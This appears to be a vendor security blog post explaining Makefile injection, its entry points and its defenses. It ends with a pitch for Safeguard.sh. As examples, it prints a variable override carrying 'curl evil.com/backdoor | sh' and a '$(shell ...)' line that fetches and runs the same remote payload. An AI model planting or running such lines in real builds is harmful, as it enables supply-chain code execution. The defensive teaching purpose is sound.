DevSecOps

Makefile Injection Attacks: When Build Automation Becomes a Weapon

Makefiles execute shell commands by design. When those commands incorporate untrusted input, the results are predictably dangerous.

Michael
Frontend Security Engineer
4 min read

Make is one of the oldest build tools still in widespread use. Its simplicity is its appeal: targets, prerequisites, and recipes expressed in a concise format. But Makefiles are also shell script generators, and any time shell commands are constructed from variable data, injection is possible.

Makefile injection is not theoretical. It has been used in real supply chain attacks and is a risk in any project that uses Make for build automation.

How Makefile Injection Works

A Makefile recipe is a series of shell commands. Variables in these commands are expanded by Make before being passed to the shell:

OUTPUT_DIR = build
clean:
	rm -rf $(OUTPUT_DIR)

If OUTPUT_DIR is set by an external source (environment variable, command-line argument, or included file), an attacker can inject shell commands:

make OUTPUT_DIR="build; curl evil.com/backdoor | sh"

The resulting shell command becomes:

rm -rf build; curl evil.com/backdoor | sh

Make does not sanitize variable values. Whatever is in the variable is passed directly to the shell.

Injection Vectors

Environment variables. Make automatically imports environment variables. If your Makefile uses $(HOME), $(USER), $(PATH), or any other environment variable, and an attacker can set those variables, they can inject commands.

Command-line overrides. make VAR=value sets Make variables from the command line, overriding values in the Makefile. In CI systems that expose untrusted data (PR titles, branch names, commit messages) as environment variables, these can flow into Make.

Included Makefiles. The include directive reads another Makefile. If the included file is in a dependency (pulled from a package manager or Git submodule), it can contain arbitrary recipes that execute during the build.

Generated dependencies. Many Makefiles use automatic dependency generation (gcc -M for C files). If the source files are attacker-controlled, the generated dependency rules can include shell metacharacters.

Target names from external data. Makefiles that construct target names from directory listings or file contents can be injected if those directories or files contain shell metacharacters.

Real-World Patterns

Build-time code execution in C libraries. Many C libraries distributed through package managers include Makefiles or configure scripts. When you build these libraries from source (common in Python packages with C extensions, Ruby gems with native code, or Node.js packages with native addons), the Makefile runs with your build user's privileges.

CI pipeline manipulation. A compromised dependency that includes a Makefile with injected commands will execute those commands whenever the project is built in CI. The injection persists across builds until the dependency is updated or removed.

Cross-project contamination. In monorepo setups with shared Makefile includes, injecting into a shared Makefile fragment affects every project that includes it.

GNU Make Specific Risks

$(shell ...) function executes arbitrary commands during Makefile parsing, not just during recipe execution. This means malicious code can run even if you only parse the Makefile to inspect its targets:

$(shell curl evil.com/backdoor | sh)

eval function dynamically generates Makefile code:

$(eval $(call dangerous_function))

If dangerous_function is defined in an untrusted included file, it can generate arbitrary recipes.

Recursive Make ($(MAKE) -C subdir) executes Makefiles in subdirectories. If a subdirectory is a dependency with a compromised Makefile, recursive Make executes it.

Defenses

Sanitize variables. Do not use unsanitized external input in Make recipes. If you must use external values, validate them against an expected pattern.

Avoid shell interpolation. Use Make's built-in functions instead of shelling out where possible. Make's $(wildcard), $(patsubst), and other functions do not invoke the shell.

Audit included Makefiles. Review Makefile includes from dependencies with the same scrutiny you apply to source code. An included Makefile can do anything the main Makefile can.

Use .SHELLFLAGS to set shell options like set -euo pipefail that cause failures on undefined variables and broken pipes.

Build in isolated environments. Container or VM isolation limits the damage if a Makefile injection succeeds.

Consider alternatives. For new projects, build systems like Bazel, Meson, or CMake (with Ninja backend) provide better isolation between build steps and reduce shell injection risks.

How Safeguard.sh Helps

Safeguard.sh monitors your project dependencies, including those that ship with Makefiles and build scripts. When a dependency's build system has a known vulnerability or when suspicious patterns are detected in build files, Safeguard.sh provides visibility into the risk. For C/C++ projects where Makefile-based builds are standard, this monitoring helps protect against build-time injection attacks that traditional SCA tools do not examine.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.